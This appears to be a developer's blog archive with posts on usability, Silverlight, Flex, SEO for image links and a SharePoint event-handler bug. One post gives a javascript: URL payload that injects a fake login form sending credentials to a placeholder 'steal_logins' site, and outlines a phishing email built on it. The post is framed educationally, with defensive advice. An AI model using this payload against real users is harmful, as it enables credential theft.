Usability is the new Aesthetic

As someone who is regularly employed to "build" the functionality of stuff on the web, I am faced with a number of variations on the typical requirements specification. From a large folder filled with interrelated documents outlining every nook and crany of the project, to a loosely coupled set of semi-formal "conversations" about the "needs" of a project, it is clear and obvious that people are regularly and comfortably opperating at a number of levels with regard to the idea of defining work. The amazing thing is that no matter hwo much detail you get from people, a little or a lot, there is one thing people battle with in a project: it is not so much "what" the solution does, but "how" the solution does it. I can sum that up in the key phrase that we all often hear, "I get how that works, but I don't know that my customers will."

So we ebb and flow with the project sponsor and try to churn out the best match to their somewhat vague comments that we can excavate from the brains of those involved, to get the very best usability that we can with regard to the requirements that rightly constrain us. The sad reality is, outside of marketing projects, that businesses don't want to invest in Usability the same way they typically don't want to invest in aesthetics.

"You don't have to make it look pretty. Just make it work."

The truth is that once you get it to work in the most raw sense, people begin to battle with the efficiency and intuitiveness of the workflow involved in the functionally accurate process, and then usability and aesthetics suddenly become an issue. The project manager is fairly behind in the project management schedule and so they toss in the trusty opinion "You don't have to make it look pretty. Just make it work." But the truth about pretty is that while their isn't a definitively positive correlation between aesthetics and usability, the point at which something beautiful becomes a sumbling block to usability is much higher than many will be willing to imagine investing in. The fact is, there is a positive correlation between "pretty" and "pleasant," and pleasant is a close cousin of "natural" if not "intuitive" (if done well) and so we find we are not far from "usable."

The issue is not that "usability," "Aesthetics," or a "refined workflow" are waisted effort or a tack onto a project that can create a savings in the cost of the work if left out. Rather, ignoring those things typically means a reduction of effiency and productivity. We are really facing a mis-management issue when those important things are left from the project. Think about how car manufacturers would collapse if the people designing the engines built them as functional as they could, per the requirement, in their "engine design project" but those engines would not fit into the cars they were designed for? We would still be spending a majority of our time on horses.

So the next time you are faced with planning a project for the web or a traditional desktop app, be sure and factor in time to define the user experience, because the industry doesn't support making time for it later.

Silverlight as an alternative to what?

It is truly difficult to keep up with all that is going on in the realm of the web these days and while I can say that I like to try, I think it is virtually impossible to keep up. The latest "keep up" is titled "Silverlight" by Microsoft.

Before I go into this little opinion entry, I want to share a little perspective on what seems to be a "vector revolution" going on inside of Microsoft. I was at a conference not too awefully long ago where I personally witnessed a example of this revolution, but more on that in a second. What you need to know is that Microsoft is busy getting on the Vector train from having spent many years fundamentally ignoring vector (math-based) graphics and simply focusing on what it already knew: raster (the pixelated non-scaleable type of) graphics. So now that WPF at the core of technology like Vista has taken hold, "everything is coming up vector!" So, I am at this conference where a guy is demoing some Vista feature and he shows how you can grab the handle of what is obviously a Raster embeded photo inside a power point presentation, and twist it around to resize and flip it over, "That is vector graphics at work people" (the crowd claps.) Now, knowing that has nothing to do with vector graphics I look around the room spotting smiling faces with clapping hands and the infrequent creatively dressed left-brainer scratching his or her head wondering how Microsoft made it this far into a discussion that it doesn't seem to understand. Oh, well. Back to Silverlight.

So Silverlight, a web-ified version of WPF is a vector based "flash-killer" (so I have read) that can deliver raster images, video, guessing it can delvier audio (though I haven't seen that yet) and can draw vector images. But this is about where Silverlight ends in it's similarity with Flash. The functionality under a Silverlight application is very limited, with a convoluted round-trip model for talking to servers for more data (you would have to use Ajax- also convoluted- to do some of the fetching and then XAML-fy that result to programmatically pump new info/interaction into Silverlight.) So, in short, without attacking more details, I don't see how this is actually a good or healthy competition for Adobe Flash. It is like imagining that some new wrist PDA would be considered a "desktop computer killer," when in reality no wrist PDA could compete with a desktop computer. It wouldn't be close. Since the wrist PDA doesn't do as much, the next question might be, well, maybe it is in a class of it's own? Well, maybe not. When you consider that a typical Ajax app coupled with Quicktime can do about as much as Silverlight... today, you start to imagine that it isn't in it's own class. It is simply outclassed. "But what about drawing vector art? It can do that!" - Yes it can. But IE could draw vector art for years in a little something called Scaleable Vector Graphics (SVG) - a format that just didn't take off. The bottom line is, competition is a good thing, but I think the launch of Silverlight was and is a bit premature. They have about 10 years of catchup to even come close to the category of competing with Adobe Flash. So, for now I guess I am simply left explaining to clients that "want the next Silverlight killer-app" that at best I could offer them is the "next Silverlight presentation" but killer-app it will not be.

We all know that Microsoft is nearly never first-to-market with anything. But they catch up fairly quickly in many cases (and even legitimately overtake the competition with improvements) and the same might be true for Silverlight. So one eye might be well placed on the progress of that technology. But having said that, everyone knows that Microsoft never understood "design" (ie. creative design- not one of the 4 phases of project management) and so I think the subtleties of creative expression and creative needs will be lost on this giant as they attempt to churn out a business approach to developing "creative software" or solutions.

Flex 2 is Open Source: The Web Is Dead, Long Live The Web

Ok, for those of you who have been paying attention to rich internet application development, we fundamentally know that Flex 2 development is XML template for having a server-side process compile a SWF in near real time. This basically means that a flex MXML file is basically just a set of instructions for how a SWF should be created, including actionscript wrapped in CDATA tags in the XML (imagine a Flash project decompiled into a set of XML tags.) Well, Adobe decided at the end of last month to completely Open Source the entire Flex 2 solution, as a part of the Mozilla project, including the server-side Java code that dynamically creates SWFs. A long time ago they Open Sourced the SWF file format (I remember that was when Corel Draw Suite, specifically their animated-gif timeline tool, all of a sudden could output to SWF.) and now they are Open Sourcing the server-side code that builds the Flex files into SWFs.

There shouldn't be any more complaining from purist web geeks about Flash on the web. Technically, they could go read through the Open Source Flex Project and create their own Flash SWF Compilers. This is as open as open gets. The only thing Adobe could do now is to give away the Flash Development tools, which would be rediculous.

http://labs.adobe.com/wiki/index.php/Flex:Open_Source

Adobe has thrown down the gauntlet. If "open source" really just means free to you, then you will be relegated to a back seat on the ride that is the web. If you don't want to buy the Flash development environments from Adobe then you should team up with some people and build your own "free flash content creation tool" based on the Open Source reality of Flash. My goodness. Adobe has taught you how to fish. Does the world need to catch you a fish and feed you as well, hand to mouth?

Even though we know it is happening in FireFox (Firefox will have native support for running actionscript in the browser instead of writing javascript), if IE implements that as well, I see the end of javascript, we would have been completely right about fjax (as a concept/idea) and rich internet applications will be the new norm.

Traditional HTML tagging embedded in a text document will be viewed as "something we did once when the web was far less dynamic." For those who are exhausted by the forever steep learning curve that is the web industry, buckle up (and read my last blog). We are just getting started and those who do not "enhance" will be left behind ("left behind" is a fairly long curve in itself. I am willing to guess that one has about two years to ignor the trends before one has to go find a new industry to stagnate in.)

For more info on Flex Open Source, check out: http://flex.org

Learning In an Industry That Never Sleeps

I hate computers. Actually, I really like computers and I hate that fact, because they are like these sense-less infants with insatiable appetites for knowledge and mobility. You can feed them all day long and into the night and they never stop growing. In fact, if you feed a baby it only ever has two arms at most with which to wield havoc on your life (though I know parents who might want to disagree with that.) But with a computer, you feed it and feed it and the next day it has ten arms reaching in every direction. This baby is no typical baby. And once your friends and family (and employer) catch a glimpse of this amazing baby they want to see it do trick and want you to raise one up for them, too. Pretty soon you find that you are doing all that you can to keep up with this monster of a baby as the world around you begs to see more tricks.

Like parents of human babies, you begin to realize that it takes far more than 9 to 5 to keep up with this toddler. You can’t sedate it or pawn it off on relatives or a sitter. Every day it is growing out of control and within a few days you catch yourself saying, “Where did that new appendage come from?” and now you have to quickly “master” the abilities of this growing baby, so you can remain the respectable teacher of it.

My baby’s most recent new appendages are PHP, Ajax, WPF/E, XAML, and SharePoint. I see these suckers reaching and grabbing and throwing and warbling every day. There are a countless number of fingers reaching everything within the grasp of my available time.
So I have decided to cut back. I am cutting back on sleep, personal time and most importantly anything else that may have critical importance to my life or career, as I get completely absorbed and enveloped in the weeds of this gigantic organic/dynamic playground. I have been trying to cut out frivolous stuff like eating and time in the bathroom (two things that are like a perpetual cycle unto each other) to make more time for baby, but I find I am getting weak fast, so I have to get back on the trough.

Back to Reality: I would give anything for this silent competitively growing tech-revolution to plane off and give the proverbial “parents” a little break, but I don’t see that happening. The fact is that we are on the very early upward trend of a massive technology parabola that only just started in the very late 1970s. Soon, meaning in my lifetime, there will be a nearly vertical adoption curve of growth and change around how we think about and live with technology (from the inevitable evaporation of the cube sitting on the floor called a computer – it will be completely integrated into other products and not be an end in itself, to the ways we interact with the request and delivery of information- no more keyboards, mice and monitors, but something altogether more intuitively integrated) and we will need new technology just to keep track of the old technology that just became outdated.

So, here is my prediction: Wetware is what is next. In 1997 I imagined I invented the term when I found myself thinking about the future interface between human biology and digital appendages. I think we will see the creation of wetware products that will help deliver stored and indexed information to us in a faster more intuitive manner. It will be like a Bluetooth device that attaches to our glasses and displays information related to as many human interactions as possible, automatically cross-referencing and indexing information in their contexts at an incredible rate. Kids will wear this stuff their entire lives and when they get old, everything they ever experienced will be available at their fingertips, sorted by statistical relevance by the age in which they found and reflected on it. Gone will be the days of getting old and forgetting stuff. Our “brain” will be managed externally. And big brother will pay big bucks to get a peak at your bit-matter ( not quite grey-matter.) Companies will specialize in helping sift through your digital preferences and help you articulate your opinion better than you could ever do. In fact, you won’t have to show up at the hardware store and ask for “one of those puddy slash tapey things that help the pipe stop leaking.” Your wetware will cross-reference “puddy-slash-tapey, pipe,leaking” with the product catalog of the store you walked into and ask for the right product by name, on your behalf. Business Intelligence will take on a whole new meaning and Marketing will be reduced to intense logarithmic calculations about the probability of your interest in their product rather than blanketing you with a shotgun blast of eye candy to try and get you to buy their products. This is how advertising dollars will be saved. You will volunteer your statistical interest via wetware, without you even knowing it, and the ad will move along to a slightly more likely candidate. Our time will be focused on things that seem to add value while the rest of the digital planet rolls forward on the boring details that we would never have even attempted to collate on our own.

Next blog entry: "How we will survive an energy crisis in the future when we let technology manage our preferences" or "How to grill a ham sandwhich"

Hack My Web Site (using JavaScript Injection)

Wow. I like to keep myself educated on how people are hacking stuff so I can build secure solutions, but I may have bumped into a hack that is pretty darned smart and takes a bit of a techy to at least detect. Many of you may have heard about SQL Injection, where you put sql queries into an inputbox and the standard errors end up coming back telling you more information than you should get to know about the database behind a web site. Well this blog article is about how to take over part of a web site and spoof parts of the page using a technique called javascript injection. I will show you how it works, the likely way it will be implemented and how to watch for it.

To start: How it works. First off, understand this is an internet browser hack, and not a web site hack, so unless developers of internet browsers change how stuff works today, this technique should work going forward, dispite what people do on their site to dodge this. Understand that what I am about to tell you is educational with the hope that you education friends and family about how this works so they can avoid being attacked.

IF YOU DO ANY OF THIS, YOU COULD GET ARRESTED BECAUSE YOU WOULD BE BREAKING THE LAW.

So, now, on with it. We are going to hack my web site: http://enginpost.com so pop another browser window and load that URL.

Most modern browsers give you the ability to enter javascript in the address bar for testing purposes. This inherent weakness is what we are about to exploit.

Here we go:

1. Click on my resume and notice where the content goes to on the webpage. If you were to examine the HTML under the page you would see that the content is being Fjaxed (like Ajax, but better) into the DIV with the ID "FlashJxContent." You can quickly view the content of whatever is currently in that DIV by pasting the following code into your browsers address bar:
   
   javascript: alert(document.getElementById('FlashJxContent').innerHTML)
   
2. That should show you the HTML inside the DIV. Now let's image my website was secure and people would come to it to login. I am a nasty human being and I want to harvest peoples login usernames and passwords. So what I want to do is create a fake form to gather this information and submit the details to a page on another website (where I gather the info and save it to my little database.) Since we know how to read the innerHTML of a DIV, we should be able to write to it as well.
3. I want to get a fake form into the DIV where the HTML looks something like:
   
   
   
   Enter Username:
   
   Enter Password:
   
   
   
   
   
   Notice that the form submits the results to another website. Horrible, right?
4. To get this form into an existing webpage, paste the following javascript into the URL:
   
   javascript:void(document.getElementById('FlashJxContent').innerHTML = " <form action='http:www.SomeTemporarySite.com/steal_logins.asp' method='get'> Enter Username: <input id='UID' type='text'><BR /> Enter Password: <input id='PWD' type='password'> <input type='submit' value='Login'> </form>")
   
   

Wow, huh? Notice that the title in the address bar shows that we are on the same site, even though the URL is a little wierd (but then again, how many users really understand what is going on in a URL?) If you wanted to change a few more areas of the page, the bad dude only has to add a semicolon after the double-quote and before the end parenthesis to add another line of javascript and write to another DIV at the same time.

HOW would this likely be implemented?

I hate to write this part because people could use this like instructions, so I won't go into a ton of specific detail, but basically...

If someone sent out an email saying you need to go to your account and fix something at your bank, the link could say "login to your bank" in your HTML-enabled email, but really point to that nasty website. The page that loads could say "loading Your Community Bank secure login..." and pop another window that hides the address bar. This window would really load your banks website. Then a few seconds later the original page would load the javascript into the location on that other popped page (I have not tested this, but I think I would work, since we opened the page to begin with.) At that point you would be on your banks website but filling out a form that really has nothing to do with your website.

HOW do you gaurd family and friends against this?

1. Tell them not to fill out web forms that don't show the address in the address bar of the browser. if the URL seems funny, don't use the form.
2. Watch for the address to where the form submits. If you hover over the submit button, notice that it tells you that it is headed away from the enginpost website (in the above example.) The average Joe may not be aware of this and it may seem a little techy a thing to do, but these days, that may yet be required.

Other than that, there isn't much more we can do to protect ourselves from this hack.

Why Images As Links Are Better Than Text As Links

This is a hugely debated topic, the biggest argument against this technique of using images as link buttons being that large (kb size) graphic-ladden pages unnecessarily clog the bandwidth. The other very popular argument is the new _old_skool where some people want the web to looks and feel like a circa 1980s BBS. I think I can shed a little light on why I can get all the bang of a thin-web technique with a powerful combo of benefits in usability and SEO (search engine optimization, for any newbies out there.)

One of the most popularly overlooked indexed realities on the web is the graphic, specifically the IMG tag. Nobody is going to create an IMG tag without defining its SRC attribute, but I know plenty of people who do not go back and fill in the ALT attribute (side note: the ALT is an attribute of the IMG tag, and I have heard a number of people refer to the "ATL tag" and when we talk like this we are mixing our metaphors. Technically, ALT is meant to define alternate text definition for the image the IMG tag is displaying. Some people like to imagine that by filling in the ALT attribute they are "socially tagging" their image. While that may be true, most people are actually refering to HTML syntax and not social tagging, so, if you are having a technical discussion about HTML tags, please refer to it as the ALT attribute.) In some cases this actually makes sense. Since a screen reader will read through the HTML tags on a page, if you don't fill in some of the tags for images that create layout but do not communicate something specific, then it might be better to leave the ALT attributes blank. But in many cases it is just more important to go ahead and give an alternative definition to the image. With this in mind, lets consider how a search engine indexes a website.

The most popularly acknowledged technique for a search engine in indexing a page is that a crawler hunts down the "A" tags on a page and associates the text within the "A" tag with the HREF attribute in the "A" tag. Simple, right? What if the "text" inside the "A" tag is an IMG that says "Read Me" in the graphic (I don't advocate this technique in text, since it does not clue the reader into what they would be reading about). What will the search engine index on? If you didn't have a graphic and just had text that said "read me" then if someone did a search on "read me" at google, your link would come up. How horrible is that? Let me tell you. That is bad. So, number one for SEO would be a text link that actually describes what you are clicking on (eg. click to read more about Search Engine Optimization ). But, if you want to use a graphic, then create a single graphic that you can reuse (that the browser will cache and continue to reference without multiple downloads) but set the ALT attribute to something uber-meaningful. This way the search engine will associate your image ALT value with the URL in the "A" tag. You get some very optimized eyecandy with an excellent SEO value to boot.

In terms of usability, remember that people spend the majority of their time on the web looking for something. This is why the statistics show that the largest interaction on the web by an astounding degree is: a surfer hitting the back button. The most redundant and frustrating activity on the web is the negative experience of following a link and then saying to yourself, "well, not what I was looking for" then hitting the back button. You don't want to navigate your users into this black hole experience simply because you gave them links that did not do a good job at targeting/explaining the content at the other end of the link. The best way to avoid this is to optimize the link message. The worst example of this (you can read about this in my blog entry Click To Read More ) is the textual "read more" link. The best is to adjust the textual link to include the actual descriptive message in the link. But if you have a site that would work best if you used a graphical link, then remember to set the most descriptive value for the ALT attribute.

SharePoint Custom Form Doesn't Like ItemUpdating Custom Error

I have been searching for a week for a solution to this question (which I have posted all over the universe and am reposting here so that people will drop off their responses in one place, for me to check.)

Here is the situation:

In Sharepoint 2k7 have a custom list, with custom columns, and event handlers written in C#. Inside the event handler for the list event ItemUpdating, under a certain condition I want to throw a custom ErrorMessage and set the Cancel to true, so the list item will not update but send info the browser so the user knows what is up. From this same custom form I am able to throw a custom ErrorMessage from the ItemDeleting event or nearly any other event. Right now, it seems that while I can keep the item from updating, I can't display a custom message under the ItemUpdating event attached to a custom form.

You can view the frustrating C# ItemUpdating code.

If someone knows more about this and what the deal is, please, let me know.

UPDATE

I was able to talk to Microsoft Support and am still working through the issue toward resolution but a lot has been discovered. Understand that there are a number of potential failure points in this example (SharePoint 2007, SQL Server 2005, SharePoint Designer, etc.) and it takes a fairly low level of server-side event monitoring to trace where things might be going wrong. The failure in this case is very interesting. What appears (so far) to be happening is that when the custom event handler fires it does pass the custom ErrorMessage back to the SharePoint Site UI, but understand the SharePoint UI (or at least part of it, in this case) was co-created by me and SharePoint Designer when I customized the form. And since I created the custom form using Best Practices (it is a rediculously simple example that creates the failure), that narrows the culprit down to SharePoint Designer. This is what seems to be happening. Even though my custom ErrorMessage is being passed back to the SharePoint UI it gets handed to the custom Form I created with Designer which throws some error and then, in stead of showing my custom error, it shows the new Designer form error, hence the apparent loss of my custom ErrorMessage.

My best guess is that we will find out that either (1) SharePoint Designer didn't implement some interface to receive custom ErrorMessages from the custom Event code, OR (2) there is some not-yet published step in creating a custom form that binds Custom Error Messages to the custom Designer Form.

(If you want to experiment with this issue, you can download the sample custom list template I created for the MS Support team. As well you can author the custom list form with custom event completely from scratch by following these DIY instructions I wrote as well.)

I will update this entry one more time once we get the resolution on this issue.

NEARLY FINAL UPDATE

I was able to confirm with Microsoft that what I was experiencing was true. When the eventHandler passes a custom error message back to a customised SharePoint Designer 2007 form, the "designed" page throws an error and only displays that error (completely obliterating my custom error.) If you have been experiencing this, then welcome to MOSS 2007. After months of haggling, Microsoft asked me to write up a "business case justification" outlining how having this feature in a working state is critical to the adoption of their product. As a result, rather than issuing the fix inside a service pack sometime next year, they are putting it into a hotfix that should come out very soon (finally!)... don't hold your breath, however. I was told nearly six months ago that this would get "resolved" and then had to battle with two more levels of support arguing that this goofiness was "by design," and not a bug. After wearing them down they finally admitted it was in the queue for a fix and that they are looking at a hotfix now.